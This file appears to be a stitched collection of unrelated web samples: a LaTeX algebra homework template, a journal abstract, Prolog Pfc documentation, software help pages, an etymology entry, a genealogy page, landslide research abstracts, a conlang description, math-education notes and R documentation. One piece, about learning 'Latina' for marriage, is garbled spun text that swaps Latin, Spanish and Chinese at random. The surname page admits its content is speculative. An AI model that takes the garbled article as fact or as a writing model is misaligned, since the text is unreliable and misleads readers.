\documentclass[12pt]{amsart} \usepackage{amsmath,amssymb,amsthm,fullpage} \usepackage{array} \newcommand{\bN}{\mathbb{N}} \newcommand{\bP}{\mathbb{P}} \newcommand{\bQ}{\mathbb{Q}} \newcommand{\bR}{\mathbb{R}} \newcommand{\bZ}{\mathbb{Z}} \renewcommand{\theenumi}{\arabic{enumi}} \renewcommand\labelenumi{\theenumi.} %%%%%%%%%% %% Title and author %%%%%%%%%% \title{Homework 6: Due Friday March 2nd 2018\\ MTH 310 001 W18} \author{YOUR NAME HERE} %% end of preamble %% beginning of document \begin{document} \maketitle Solutions must be typed using LaTeX. Remember to provide justification and write in complete sentences for all responses unless otherwise noted. \\ \begin{enumerate} %%%%%%% % Question 1 %%%%%%% \item Sec. 4.1. Problem 4. In each part, give an example polynomials $f(x),g(x)\in\bQ[x]$ that satisfy the condition: \begin{enumerate} \item The degree of the sum of $f(x)$ and $g(x)$ is less than the maximum of $\text{deg}(f(x))$ and $\text{deg}(g(x))$; i.e. \[\text{deg}(f(x)+g(x))<\text{max}\{ \text{deg}(f(x)),\text{deg}(g(x))\}.\] \item The degree of the sum of $f(x)$ and $g(x)$ is equal to the maximum of $\text{deg}(f(x))$ and $\text{deg}(g(x))$; i.e. \[\text{deg}(f(x)+g(x))=\text{max}\{ \text{deg}(f(x)),\text{deg}(g(x))\}.\] \end{enumerate} \begin{proof} Type your answer here! \end{proof} %%%%%%% % Question 2 %%%%%%% \item Sec. 4.1. Problem 8. If $R$ has a multiplicative identity $1_R$, show that the constant polynomial $1_R$ is the multiplicative identity of $R[x]$. \begin{proof} Type your answer here! \end{proof} %%%%%%% % Question 3 %%%%%%% \item Let $R$ be an integral domain and let $R^{\times}$ be the units in $R$. Prove that the only units in $R[x]$ are the constant polynomials $b$ where $b$ is an element in $R^{\times}$. \begin{proof} Type your answer here! \end{proof} %%%%%%% % Question 4 %%%%%%% \item Show that $1+3x$ is a unit in $\mathbb{Z}/9\mathbb{Z}[x]$. State why this doesn't contradict the previous problem. \begin{proof} Type your answer here! \end{proof} %%%%%%% % Question 5 %%%%%%% \item Sec. 4.1. Problem 18. Let $\psi:R[x]\rightarrow R$ be the function that maps $f(x)=a_0+a_1x+\dots a_nx^n$ to $a_0$. Prove that $\psi$ is a homomorphism. Prove or disprove that it is surjective. Prove or disprove that it is an isomorphism of rings. \begin{proof} Type your answer here! \end{proof} %%%%%%% % Question 6 %%%%%%% \item Sec. 4.2. Problem 1. Let $F$ be a field. If $f(x)\in F(x)$, show that every nonzero constant polynomial divides $f(x)$. \begin{proof} Type your answer here! \end{proof} \end{enumerate} \end{document}


text:
State Pension Funds and Corporate Social Responsibility: Do Beneficiaries' Political Values Influence Funds' Investment Decisions?
Andreas G. F. Hoepner () and
Lisa Schopohl ()
Additional contact information
Andreas G. F. Hoepner: University College Dublin
Lisa Schopohl: Henley Business School, University of Reading
Journal of Business Ethics, 2020, vol. 165, issue 3, No 8, 489-516
Abstract This study explores the underlying drivers of US public pension funds' tendency to tilt their portfolios towards companies with stronger corporate social responsibility (CSR). Studying the equity holdings of large, internally managed US state pension funds, we find evidence that the political leaning of their beneficiaries and political pressures by state politicians affect funds' investment decisions. State pension funds from states with Democratic-leaning beneficiaries tilt their portfolios more strongly towards companies that perform well on CSR issues, and this tendency is intensified when the state government is dominated by Democratic state politicians. Moreover, we find that funds which tilt their portfolios towards companies with superior CSR scores generate a slightly higher return compared with their counterparts. Overall, our findings indicate that funds align their investment choices with the financial and non-financial interests of their beneficiaries when deciding whether to incorporate CSR into their equity allocations.
Keywords: Corporate social responsibility; CSR; Fiduciary duty; Political values; Portfolio decisions; State pension funds; Socially responsible investing (search for similar items in EconPapers)
JEL-codes: G11 H55 H75 M14 (search for similar items in EconPapers)
References: View references in EconPapers View complete reference list from CitEc
Citations: Track citations by RSS feed
Downloads: (external link)
_URL_ Abstract (text/html)
Access to full text is restricted to subscribers.
This item may be available elsewhere in EconPapers: Search for items with the same title.
Export reference: BibTeX
RIS (EndNote, ProCite, RefMan)
Persistent link: _URL_
Ordering information: This journal article can be ordered from
_URL_. ... cs/journal/10551/PS2
Access Statistics for this article
Journal of Business Ethics is currently edited by Michelle Greenwood and R. Edward Freeman
More articles in Journal of Business Ethics from Springer
Bibliographic data for series maintained by Sonal Shukla ().

source: m-a-p/FineFineWeb


Pfc -- a package for
forward chaining in Prolog
Tim Finin
Prolog, like most logic programming languages, offers backward chaining as the only reasoning scheme. It is well known that sound and complete reasoning systems can be built using either exclusive backward chaining or exclusive forward chaining. Thus, this is not a theoretical problem. It is also well understood how to ''implement'' forward reasoning using an exclusively backward chaining system and vice versa. Thus, this need not be a practical problem. In fact, many of the logic-based languages developed for AI applications allow one to build systems with both forward and backward chaining rules.
There are, however, some interesting and important issues which need to be addresses in order to provide the Prolog programmer with a practical, efficient, and well integrated facility for forward chaining. This notet describes such a facility, Pfc, which we have implemented in standard Prolog.
A somewhat more complete users manual is available, as is some information on how to get the software and how to use it at UMBC. If you want to cite it, you can use
Finin, Tim, Rich Fritzson and Dave Matuszek, ''Adding Forward Chaining and Truth Maintenance to Prolog'', IEEE Conference on Artificial Intelligence Applications, (pp. 123 - 130), Miami, March 1989.
The basic idea
The Pfc system is a package that provides a forward reasoning capability to be used together with conventional Prolog programs. The Pfc inference rules are Prolog terms which are asserted as facts into the regular Prolog database. For example, here is a file of Pfc rules and facts which are appropriate for the ubiquitous kinship domain.
spouse(X,Y) <=> spouse(Y,X).
spouse(X,Y),gender(X,G1), {otherGender(G1,G2)}
 => gender(Y,G2).
gender(P,male) <=> male(P).
gender(P,female) <=> female(P).
parent(X,Y),female(X) <=> mother(X,Y).
parent(X,Y),parent(Y,Z) => grandparent(X,Z).
grandparent(X,Y),male(X) <=> grandfather(X,Y).
grandparent(X,Y),female(X) <=> grandmother(X,Y).
parent(X,Y),male(X) <=> father(X,Y).
The Pfc package allows one to define forward chaining rules and to add ordinary Prolog assertions into the database in such a way as to trigger any of the Pfc rules that are satisfied. An example of a simple Pfc rule is:
gender(P,male) => male(P)
This rule states that whenever the fact unifying with gender(P,male) is added to the database, then the fact male(P) is true. If this fact is not already in the database, it will be added. In any case, a record will be made that the validity of the fact male(P) depends, in part, on the validity of this forward chaining rule and the fact which triggered it. To make the example concrete, if we add gender(john,male), then the fact male(john) will be added to the database unless it was already there.
In order to make this work, it is necessary to use the predicate add/1 rather than assert/1 in order to assert Pfc rules and any facts which might appear in the lhs of a Pfc rule.
Backward-Chaining Pfc Rules
Pfc includes a special kind of backward chaining rule which is used to generate all possible solutions to a goal that is sought in the process of forward chaining. Suppose we wished to define the ancestor relationship as a Pfc rule. This could be done as:
parent(P1,P2) => ancestor(P1,P2).
parent(P1,P2), ancestor(P2,P3) => ancestor(P1,P3).
However, adding these rules will generate a large number of assertions, most of which will never be needed. An alternative is to define the ancestor relationship by way of backward chaining rules which are invoked whenever a particular ancestor relationship is needed. In Pfc, this need arises whenever facts matching the relationship are sought while trying a forward chaining rule.
ancestor(P1,P2) <= {\+var(P1)}, parent(P1,X), ancestor(X,P2).
ancestor(P1,P2) <= {var(P1),\+var(P2)}, parent(X,P2), ancestor(P2,X).
We sometimes want to draw an inference from the absence of some knowledge. For example, we might wish to encode the default rule that a person is assumed to be male unless we have evidence to the contrary:
person(P), ~female(P) => male(P).
A lhs term preceded by a \sim is satisfied only if no fact in the database unifies with it. Again, the Pfc system records a justification for the conclusion which, in this case, states that it depends on the absence of the contradictory evidence. The behavior of this rule is demonstrated in the following dialogue:
?- add(person(P), ~female(P) => male(P)).
?- add(person(alex)).
?- male(alex).
?- add(female(alex)).
?- male(alex)
Procedural Interpretation
Note that the procedural interpretation of a Pfc rule is that the conditions in the lhs are checked from left to right. One advantage to this is that the programmer can chose an order to the conditions in a rule to minimize the number of partial instantiations.
Another advantage is that it allows us to write rules like the following:
 => {remove(at(Obj,Loc1))}.
Although the declarative reading of this rule can be questioned, its procedural interpretation is clear and useful:
If an object is known to be at location Loc1 and an assertion is added that it is at some location Loc2, distinct from Loc1, then the assertion that it is at Loc1 should be removed.
The Right Hand Side
The examples seen so far have shown a rules rhs as a single proposition to be ''added'' to the database. The rhs of a Pfc rule has some richness as well. The rhs of a rule is a conjunction of facts to be ''added'' to the database and terms enclosed in brackets which represent conditions/actions which are executed. As a simple example, consider the conclusions we might draw upon learning that one person is the mother of another:
mother(X,Y) =>
As another example, consider a rule which detects bigamists and sends an appropriate warning to the proper authorities:
spouse(X,Y), spouse(X,Z), {Y\==Z} =>
 {format("~N~w is a bigamist, married
 to both ~w and ~w~n",[X,Y,Z])}.
Each element in the rhs of a rule is processed from left to right --- assertions being added to the database with appropriate support and conditions being satisfied. If a condition can not be satisfied, the rest of the rhs is not processed. We would like to allow rules to be expressed as bi-conditional in so far a possible. Thus, an element in the lhs of a rule should have an appropriate meaning on the rhs as well. What meaning should be assigned to the conditional fact construction (e.g. P/Q ) which can occur in a rules lhs? Such a term in the rhs of a rule is interpreted as a conditioned assertion. Thus the assertion P/Q will match a condition P\prime in the lhs of a rule only if P and P\prime unify and the condition Q is satisfiable. For example, consider the rules that says that an object being located at one place is reason to believe that it is not at any other place:
at(X,L1) => not(at(X,L2))/L2\==L1
Note that a conditioned assertion is essentially a Horn clause. We would express this fact in Prolog as the backward chaining rule:
not(at(X,L2)) :- at(X,L1),L1\==L2.
The difference is, of course, that the addition of such a conditioned assertion will trigger forward chaining whereas the assertion of a new backward chaining rule will not.
The Truth Maintenance System
As discussed in the previous section, a forward reasoning system has special needs for some kind of truth maintenance system. The Pfc system has a rather straightforward TMS system which records justifications for each fact deduced by a Pfc rule. Whenever a fact is removed from the database, any justifications in which it plays a part are also removed. The facts that are justified by a removed justification are checked to see if they are still supported by some other justifications. If they are not, then those facts are also removed. Such a TMS system can be relatively expensive to use and is not needed for many applications. Consequently, its use and nature are optional in Pfc and are controlled by the predicate pfcTmsMode/1. The possible cases are three: A fact is considered to be supported by God if it is found in the database with no visible means of support. That is, if Pfc discovers an assertion in the database that can take part in a forward reasoning step, and that assertion is not supported by either the user or a forward deduction, then a note is added that the assertion is supported by God. This adds additional flexibility in interfacing systems employing Pfc to other Prolog applications.
For some applications, it is useful to be able to justify actions performed in the rhs of a rule. To allow this, Pfc supports the idea of declaring certain actions to be undoable and provides the user with a way of specifying methods to undo those actions. Whenever an action is executed in the rhs of a rule and that action is undoable, then a record is made of the justification for that action. If that justification is later invalidated (e.g. through the retraction of one of its justificees) then the support is checked for the


10.12 Deleting the Junction
Deleting a junction removes the junction file and the trustees, trustee rights, and inherited rights filters that are explicitly set on the junction. It does not delete the data or trustee settings in the target location.
Changing the access path to the data might result in different effective rights for users at the target location. To avoid security or visibility issues, make sure to verify trustee settings in the target location before or after the delete. Before you delete the junction, you can use the Target Rights page for the junction to modify the settings. After you delete the junction, use any other method you normally use to view and modify rights.
 1. (Optional, recommended) Verify that the trustees and trustee rights settings at the target location are what you intend them to be when users access the data via a different path than the current junction.
 For information, see Section 10.8, Adding or Deleting Trustees for the Junction Target and Section 10.10, Modifying Trustee Rights for the Junction Target.
 2. In iManager, click Distributed File Services > Delete Junction.
 3. Browse to locate the junction you want to delete.
 4. Click OK, then confirm the warning message to delete the junction.


text:
Before you start
Molecular descriptors can be calculated for any connected molecular structure; however, the complete set of molecular descriptors can be calculated only for those molecules containing the chemical elements, for which all physico-chemical properties used as the weighting schemes are available. See the list of weighting schemes for more details.
If a molecule contains chemical elements for which some property is undefined, then it will be processed anyway, but a limited set of molecular descriptors will be provided.
Dragon cannot deal with salts.
The structure files cannot be generated in Dragon; they require to be created before using Dragon by specific chemical drawing programs.
To make full use of Dragon utilities, 3D optimised structures with hydrogens are required.
Note that Dragon does not perform geometry optimisation, nor transform topological structures into the corresponding 3D geometrical structures.
In the case of molecular structures lacking in hydrogen atoms, the software can attach hydrogens to atoms in order to make up the rest of their normal valence. However, as atomic spatial coordinates are not provided, calculations are restricted to 0D, 1D and 2D descriptors.
Regardless of the way a molecular structure has been defined in the input file, it will always be converted into an internal standard representation by Dragon rules for bond order and aromaticity detection.

source: openbmb/Ultra-FineWeb


text:
- hard (adj.)
- Old English heard "solid, firm, not soft," also "severe, rigorous, cruel," from Proto-Germanic *hardu- (cf. Old Saxon and Dutch hard, Old Norse harðr "hard," Old High German harto "extremely, very," German hart, Gothic hardus "hard"), from PIE *kortu-, (cf. Greek kratos "strength," kratys "strong"), from root *kar-/*ker- "hard." Meaning "difficult to do" is from c.1200. The adverb sense was also present in Old English.
Hard of hearing preserves obsolete Middle English sense of "having difficulty in doing something." Hard liquor is 1879, American English (hard drink is from 1810; hard cider is from 1789), and this probably led to hard drugs (1955). Hard facts is from 1887; hard news is from 1938. Hard copy (as opposed to computer record) is from 1964; hard disk is from 1978. Hard up (1610s) is originally nautical, of steering (slang sense of "short of money" is from 1821), as is hard and fast (1680s), of a ship on shore. Hard times "period of poverty" is from 1705.
Hard money (1706) is specie, as opposed to paper. Hence 19c. U.S. hard (n.) "one who advocates the use of metallic money as the national currency" (1844). To play hard to get is from 1945. Hard rock as a pop music style recorded from 1967.

source: HuggingFaceFW/fineweb-edu


text:
Felton Family History
Felton Surname History
This Felton history and genealogy page contains the accumulated history of the Felton last name made up of user-contributed content from other AncientFaces users. Felton family history has rich origins whose details can be pieced together by Felton family members. The Felton family is an old heredity that has migrated all across the world for many generations, and as the name Felton has migrated, it has evolved making its etymology a challenge to uncover.
No content has been submitted here about Felton. The following is speculative information about Felton. You can submit your information by clicking Edit.
The evolution of Felton starts at it's earliest origins. Even in the early generations of a name there are changes in that name simply because surnames were infrequently written down back when few people could write.
It was not unusual for a family name to change as it enters a new country or language. As Felton families emigrated between countries, the Felton name may have changed with them. Felton families have travelled around the world all throughout history.
Felton country of origin
No content has been submitted about the Felton country of origin. The following is speculative information about Felton. You can submit your information by clicking Edit.
The nationality of Felton is often difficult to determine in cases which country boundaries change over time, making the original nationality indeterminate. The original ethnicity of Felton may be difficult to determine based on whether the name came in to being organically and independently in different locales; e.g. in the case of names that come from professions, which can crop up in multiple regions independently (such as the surname "Fisher" which was given to fishermen).
Meaning of the last name Felton
No content has been submitted about the meaning of Felton. The following is speculative information about Felton. You can submit your information by clicking Edit.
The meaning of Felton come may come from a profession, such as the name "Baker" which refers to the craft of baker. Some of these craft-based last names may be a profession in another language. Because of this it is good to understand the country of origin of a name, and the languages spoken by its family members. Many names like Felton originate from religious texts like the Bhagavadgītā, the Quran, the Bible, and so forth. In many cases these family names relate to a religious expression such as "Grace of God".
- Sarah Stevens Felton 1690 - 1763
- Catherine Felton 1801 -?
- Felton Felton Hervey 1712 - 1773
- Elizabeth UNKNOWN Felton 1754 - 1812
- John Felton 1340 - 1396
- Elizabeth Felton Hervey 1676 - 1741
- Duncan Felton? - 1385
- Helen Felton(6) Hale 1877 -?
- J.r. Felton
- Eleanor Felton Strathbogie 1318 -?
- Elizabeth Felton Tuttle 1771 - 1813
- Joane Felton 1412 -?
- Joan Felton Faucomberge? - 1384
- William (Lord of Fife) Felton? - 1358
- Daniel Felton 1729 - 1819
- Margery Felton 1272 - 1354
- Daniel Felton
- Daniel Felton 1687 - 1760
- Joanna Felton? - 1767
Felton Family Tree
Famous people named Felton
No famous people named Felton have been submitted. You can submit your information by clicking Edit.
Nationality and Ethnicity of Felton
No content has been submitted about the ethnicity of Felton. The following is speculative information about Felton. You can submit your information by clicking Edit.
We do not have a record of the primary ethnicity of the name Felton. Many surnames travel around the world throughout the ages, making their original nationality and ethnicity difficult to trace.
More about the name Felton
Fun facts about the Felton family
We have no fun facts about Felton. You can submit your information by clicking Edit.
Felton spelling variations
No content has been submitted about alternate spellings of Felton. The following is speculative information about Felton. You can submit your information by clicking Edit.
In times when literacy was uncommon, names such as Felton were transcribed based on how they sounded when people's names were recorded in official records. This could have resulted in misspellings of Felton. Understanding misspellings and alternate spellings of the Felton family name are important to understanding the history of the name. Last names like Felton change in spelling and pronunciation as they travel across communities, family unions, and eras across time.


text:
，建置可查詢SWI與NSWI在歷史降雨事件中的變化情形，以及在某特定時間下的數值之介面。未來若能進一步串接即時雨量，甚至未來數小時的預估雨量，將可提供臺灣在坡地災害預警系統上的一重大突破。
The soil water index (SWI) represents the estimated soil moisture content affected by current and antecedent rainfall, and is an important indicator used by the Japan Meteorological Agency (JMA) as a reference to issue nationwide mass movement warnings. In recent years, many studies had pointed out that the occurrence of mass movements is highly related to whether the value of SWI is within the top historical ranking (recorded at the same location). According to this finding, some studies hadproposed a quantitative method, which is to calculate the ratio of the SWI at a particular location to the maximum value recorded in the past decade (i.e. normalized soil water index; NSWI). This NSWI can serve as an important indicator for predicting mass movement occurrence. In this study, 344 mass movements occurred during 2006–2017 were analyzed. Changes in SWI and NSWI during numerous rainfall events were calculated. The result shows that the SWI at the time of mass movements was between 2.90 and 700.93, with an average of 308.42; while the NSWI was between 0.01 and 1.87, with an average of 0.84. On average, mass movements occurred within 3.42 hours after the maximum NSWI had been reached. We also defined different warning levels based on six ranges of NSWI: 0–0.2, 0.2–0.4, 0.4–0.6, 0.6–0.8, 0.8–1.0, and > 1.0. These levels would represent different possibilities of mass movement occurrence. This study also utilized the Multi-data and Multi-model Integrated System (MMIS), which was developed by the Taiwan Climate Change Projection Information and Adaptation Knowledge Platform (TCCIP), to link together the historical rainfall data and to establish an interface. This allows us to easily explore the changes in SWI and NSWI during historical rainfall events or at a specific time of interest. In the future, if we could further integrate this system with real-time rainfall data and the predicted rainfall amount for the upcoming time, it would provide a major breakthrough in the mass movement warning system in Taiwan.
In 2009, Typhoon Morakot hit Taiwan and triggered catastrophic failure of deep-seated landslides. The enormous impact thereof shocked people of the country, driving them to pay even more attention to the landslide early warning and monitoring systems. How to effectively interpret and track potential sliding surface has also become an important subject in the field with respect to hazard mitigation.
Space borne Synthetic Aperture Radar (SAR) imagery is a remote sensing technology that has been highly developed in recent years. With advantages of being applicable in all weather conditions and to large areas, SAR that has a fixed revisit period has now been widely used in slope disaster investigation. The records thereof include intensity, polarization, phase and other information. Among them, phase information can estimate centimeter-level deformation using the DInSAR technique. Nevertheless, the deformation data are easily affected by atmospheric effect, orbital errors and terrain effects, resulting in a decrease in measurement precision. Furthermore, as temporal baseline changes over time and ground surface deformations are inconsistent, it was hard to set the landslide warning threshold in the past. This study has adopted fuzzy membership function to reclassify vertical ground surface deformation measured by DInSAR.
The results indicate that, after eliminating terrain effects, potential sliding surfaces within deep-seated landslides can be rapidly identified; and that time-series analysis results can also be used to evaluate the activity of potential sliding areas. In this study, we have collected six pairs of SAR images of Gaoping River Basin using ALOS satellite between August 23 of 2009 and February 26 of 2011. Not only were these six pairs used to determine potential sliding surfaces, but also we have preliminarily verified the results of Namasia, Nangnisalu and Putanpunas River Basin; and established procedures for analyzing potential sliding surfaces using DInSAR.
Due to the poor geological conditions in the hillsides of Taiwan and the drastic changes in the global climate, landslides, earth slides and debris flows are prone to occur after extreme rainfall. The resulting complex hazards often lead to the loss of people's lives and properties. Well-organized site characterization and monitoring program can greatly reduce the risk. Engineering geophysical methods, especially seismic travel-time tomography and Electrical Resistivity Tomography (ERT), are effective ways to investigate the landslide area. On the other hand, slope inclinometer is widely used in practice to identify the sliding depths of landslides. This paper aims to evaluate the possible pitfall and difficulties in applying these three methods in the characterization of large-scale deep-seated landslides. According to the evaluation, passive seismic method is the most effective way to obtain the 3D structure of the sliding surface which can then be used for proper borehole planning. Rather than surface ERT, Borehole-to-Surface ERT can better provide the 2D geological structure. Hence, it would be the preferred method to obtain the high-resolution image of the underground structure after the boreholes are drilled. Furthermore, Time Domain Reflectometry is more economical than inclinometer in terms of monitoring the sliding depth for deep-seated sliding area.
On the Assignment of Groundwater Table in Soils Liquefaction Analysis
本文探討土壤液化分析過程地下水位參數之錯置問題、以及可能造成影響。由於進行土壤液化分析過程中，估算地層抗液化強度或反覆阻抗比CRR之鑽探水位(GWT0)常被視為計算地震力作用力或反覆應力比CSR之分析水位(GWT)，導致液化分析結果產生誤差。事實上，若鑽探水位設置高於實際應有水位，則地層抗液化強度和安全係數將被高估；若鑽探水位設置低於實際應有水位，則地層抗液化強度和安全係數將被低估。此外，當鑽探水位誤設為分析水位時(GWT0=GWT)，水位上升將牽動CRR與CSR的同向變化。但因變化速率不同，對於淺地層與高水位情況下之土壤抗液化安全係數(FL=CRR/CSR)其計算結果則可能產生異常現象；亦即，在水位上升時安全係數不降反升的情形。關於鑽探水位如何設置，本文認為以鑽探作業與迴水循環停止後1日~1週之水位相較最為合適。最後，由於目前使用以Prof. H.B. Seed團隊發展SPT-N-based之液化評估版本眾多，本文建議可以Youd et al. 於2001年ASCE期刊所發表者為主要版本；因其內容彙整1996NCEER與1998NCEER/NSF Workshops 21位與會國際土壤液化專家學者之共識結論、普遍公認度較高。若能以相同版本進行評估，則土壤液化分析結果一致性較能確保。
This article addresses the issue and potential influences of misassignment of groundwater table in the analysis of soil liquefaction. The groundwater table(GWT0)during subsurface exploration for evaluation of cyclic resistance ratio (CRR) is often mistakenly assumed to be the same as the groundwater table (GWT) for computing cyclic stress ratio (CSR) due to seismic shaking. This wrong assumption would lead to erroneous liquefaction analysis results. If the assigned GWT0 is higher than the actual location, then the CRR and the associated factor of safety (FL) would be overpredicted. Alternatively, if the assigned GWT0 is lower than the actual location, then the CRR and FL would be underestimated. If the groundwater table during exploration for evaluation of CRR is assumed to be the same as the groundwater table for computing the cyclic stress ratio (i.e., GWT0=GWT), the variation in the groundwater tables would lead to changes of CRR and CSR in the same direction. However, as the amount of changes in CRR and CSR would be different, the computed factor of safety against liquefaction (FL=CRR/CSR) may increase or decrease. For example, an increase in the groundwater table would likely cause an increase in the computed factor of safety. The authors suggest the GWT0 to be taken as the groundwater table measured between 1 day and 1 week after the end of exploration or drilling fluid circulation. In addition, the authors recommend the use of Youd et al. (2001) liquefaction analysis procedure as it represents the consensus of


text:
Theloskrit is a language derived from Latin. It implements many guttural sounds, and is in this manner similar to Hebrew. However, the conjugation of person and of tense is more closely related to that of Swahili than any other language, in that it uses prefixes to differentiate between the tenses. The alphabet, or aleshbene, other than having a few vague similarities to the Greek and Russian alphabets, is unlike any other used. It contains twenty-four letters: seven vowels and seventeen consonants. It is not a holy or sacred language, but it is sometimes used in the reading of Scriptures, and has traces of monotheism woven into the language. For example: there are seven persons for which a verb may be conjugated; the normal six: first, second, and third, singular and plural, but there is also a separate conjugation for God. There are also separate subject and object pronouns to be used for God and God alone.
There is no font available for Theloskrit as of yet. On this page, the letters of the alphabet are transcribed into the Latin alphabet. This also will serve to make pronouncing words the first time easier. Speaking Theloskrit is very simple; the letters and sounds are always consistent. On this site are also some translated texts, a vocabulary, the Theloskrit numeric system, and basic instruction for writing Theloskrit.


text:
Benefits of using Problems of the Week as a regular part of your math
PoWs have great motivational value for students:
- Many students comment that PoWs are fun!
- Submitting solutions online provides the potential for a different audience. Many students are inspired to apply greater effort for an outside reader. By the same token, they often are more receptive to feedback they receive from them.
- We publish some of the exemplary online POW solutions that we receive along with Gold and Silver lists. The potential for recognition on the Internet is a powerful motivator.
- Don't take my word for it!
PoWs inform and facilitate the teaching process:
- They allow teachers to examine and discuss students' work and refine their teaching practices based on what they learn from it. Student solutions to the PoWs provide a window into the thinking of students and can serve as a valuable tool for assessing their progress.
- PoWs allow teachers to differentiate instruction among students at various developmental levels. They lend themselves to a variety of strategies and levels of sophistication. Most often they don't depend on any specific procedure or algorithm. Students can approach them from whatever level of understanding and skill they possess. Teachers may simplify or scaffold problems to make them more accessible to students at lower developmental levels, or extend them to challenge those who are ready. It is not uncommon for the same problem to elicit both guess-and-test as well as algebraic solutions.
- PoWs can be used flexibly to accommodate students with different learning styles. Students may work individually or in pairs or groups. PoWs take advantage of students' learning strengths; visual learners may draw pictures or diagrams, kinesthetic learners might use manipulatives or act out a situation, analytic learners can create tables.
- PoWs give students experience with constructed response problems. Many states now include such problems in their assessments.
PoWs and the NCTM Process Standards:
PoWs are an effective vehicle for learning and reinforcing mathematical concepts and skills. They address the Process Standards as proposed by the NCTM and promoted by many states in their mathematics standards.
PoWs help students build mathematical understanding. The problem context helps students attach meaning to the mathematics and make sense of it.
PoWs emulate the process of problem solving in the real world. Students analyze the given information and apply knowledge and skills in different ways. There is not an obvious path to a solution.
PoWs expand each student's repertoire of problem solving strategies. They help students develop approaches for making progress when they are stuck.
PoWs create opportunities for students to reflect on the problem solving process and develop metacognitive skills. Being a proficient problem solver involves being able to plan, monitor and evaluate one's own thinking. A problem context provides a way for students to judge the reasonableness of their answers.
Reasoning and Proof
Justifying one's thinking and procedures, both orally and in writing, is fundamental to mathematics. PoWs provide the opportunity for students to develop this habit of mind and learn that mathematics makes sense.
Writing is an important component of PoWs. The process of putting thoughts into writing serves to clarify and organize the student's mathematical thinking.
The writing that students do in PoWs makes their thinking visible, allowing the teacher to help them move forward.
PoWs help develop literacy skills. They provide an authentic opportunity for students to strengthen reading comprehension and technical writing skills. The ability to write clearly and with appropriate detail is invaluable throughout school and beyond.
The richness of the math in PoWs helps students make connections with other mathematical ideas and with contexts outside of mathematics.
PoWs encourage students to identify analogous problems and situations which helps them generalize their learning and apply it more efficiently to new situations.
PoWs invite a variety of forms of representation. Students often use manipulatives, tables, graphs and diagrams in the process of solving the problem as well as in communicating their results. These representations allow teachers to move students from arithmetic calculations toward algebraic generalizations as a natural next step in their mathematical growth.
More about The Math Forum's
Problems of the Week


Understanding how to Speak Latina For Relationship
Learning Latina for matrimony is a great approach to help bolster the my between you and your partner. It is the perfect complement to English with regards to strengthening the building blocks of your relationship. Latina is one of the most ancient dialects in the world.
As you uncover this vocabulary, you are learning English as well. The 2 main are very tightly related. When ever you study chinese, you will also be learning all of the important ideas, phrases, and sentences which will be helpful to you in the future. You will want to use these types of words in conversation. This is a great way to keep the relationship strong.
There are several different ways that you can use this terminology to help enhance your relationship. You can start using it aware of your family. Try to practice that during a treat. Take the time to declare some terms in The spanish language that your family members and friends might not exactly understand. When they speak The english language, you will be able to translate what they are expressing and know what they are aiming to say.
Another good cause to learn Latin for the purpose of marriage is to have some fun together with your friends. Use the chinese language to learn one or two new comments and tales about existence. This is the best way to have a bit of fun and not feel therefore embarrassed.
If you are planning ongoing out on a date, then you should speak The spanish language when you are with the person you are going out with. This will provide them with a chance to uncover your language as well. Every time they do uncover your language, they may feel more at ease with you.
If you live near somebody who speaks The spanish language, you might want to ask them to help you learn it. You can do this on your own. But, assuming you have someone you may speak to in the phone, might a lot more useful information in a shorter amount of time.
You can even consider classes at a local college or university or secondary school and learn ways to speak The spanish language. These courses can take a few months, but it can be performed in a year.
If you need to learn any other language, you should consider this one because an option. This can be a highly recommended language to use with your other half. It is a great approach to event with your good friends and give one another a bit of thrilling entertainment.
Of course, _URL_ if you cannot speak Spanish, you can learn it by using lessons or through personal lessons that are offered online. You can learn a few basic phrases through the net. However, these lessons will cost you some money.
The ultimate way to learn how to speak Spanish is always to actually start out learning the chinese language as soon as possible. Begin by speaking the language when using the person you are going out with. Make sure that you are able to understand their very own conversation as well.
Once you are able to converse in Spanish, you may start taking lessons or enrolling in classes. The easiest way to learn Latina is to find a web page that offers a course. that teaches chinese for free. This can be a great way to be able to speak a language without paying.
There are many ways that you are able to teach yourself Latin. Several websites provide audio lessons or books that you can buy.
Many people opt for a community college or university to provide their education. They offer various programs which include Latin meant for marriage.
Trả lời


cor.smooth {psych}R Documentation
Smooth a non-positive definite correlation matrix to make it positive definite
Factor analysis requires positive definite correlation matrices. Unfortunately, with pairwise deletion of missing data or if using tetrachoric or polychoric correlations, not all correlation matrices are positive definite. cor.smooth does a eigenvector (principal components) smoothing. Negative eigen values are replaced with 100 *.Machine$double.eps, the matrix is reproduced and forced to a correlation matrix using cov2cor.
A correlation matrix or a raw data matrix.
Report all abs(residuals) > cut
The smoothing is done by eigen value decomposition. eigen values <.Machine$double.eps are changed to 100 *.Machine$double.eps. The positive eigen values are rescaled to sum to the number of items. The matrix is recomputed (eigen.vectors %*% diag(eigen.values) %*% t(eigen.vectors) and forced to a correlation matrix using cov2cor. (See Bock, Gibbons and Muraki, 1988 and Wothke, 1993).
This does not implement the Knol and ten Berge (1989) solution, nor do nearcor and posdefify in sfmsmisc, not does nearPD in Matrix. As Martin Maechler puts it in the posdedify function, "there are more sophisticated algorithms to solve this and related problems."
cor.smoother examines all of nvar minors of rank nvar-1 by systematically dropping one variable at a time and finding the eigen value decomposition. It reports those variables, which, when dropped, produce a positive definite matrix. It also reports the number of negative eigenvalues when each variable is dropped. Finally, it compares the original correlation matrix to the smoothed correlation matrix and reports those items with absolute deviations great than cut. These are all hints as to what might be wrong with a correlation matrix.
The smoothed matrix with a warning reporting that smoothing was necessary (if smoothing was in fact necessary).
William Revelle
R. Darrell Bock, Robert Gibbons and Eiji Muraki (1988) Full-Information Item Factor Analysis. Applied Psychological Measurement, 12 (3), 261-280.
Werner Wothke (1993), Nonpositive definite matrices in structural modeling. In Kenneth A. Bollen and J. Scott Long (Editors),Testing structural equation models, Sage Publications, Newbury Park.
D.L. Knol and JMF ten Berge (1989) Least squares approximation of an improper correlation matrix by a proper one. Psychometrika, 54, 53-61.
See Also
tetrachoric, polychoric, fa and irt.fa, and the burt data set.
See also nearcor and posdefify in the sfsmisc package and nearPD in the Matrix package.
bs <- cor.smooth(burt) _TAG_ data set is not positive definite
plot(burt[lower.tri(burt)],bs[lower.tri(bs)],ylab="smoothed values",xlab="original values")
round(burt - bs,3)
fa(burt,2) _TAG_ throws a warning that the matrix yields an improper solution
_TAG_ first throws a warning that the matrix was improper, but produces a better solution
_TAG_ next example is a correlation matrix from DeLeuw used as an example in Knol and ten Berge.
_TAG_ example is also used in the nearcor documentation
 cat("pr is the example matrix used in Knol DL, ten Berge (1989)\n")
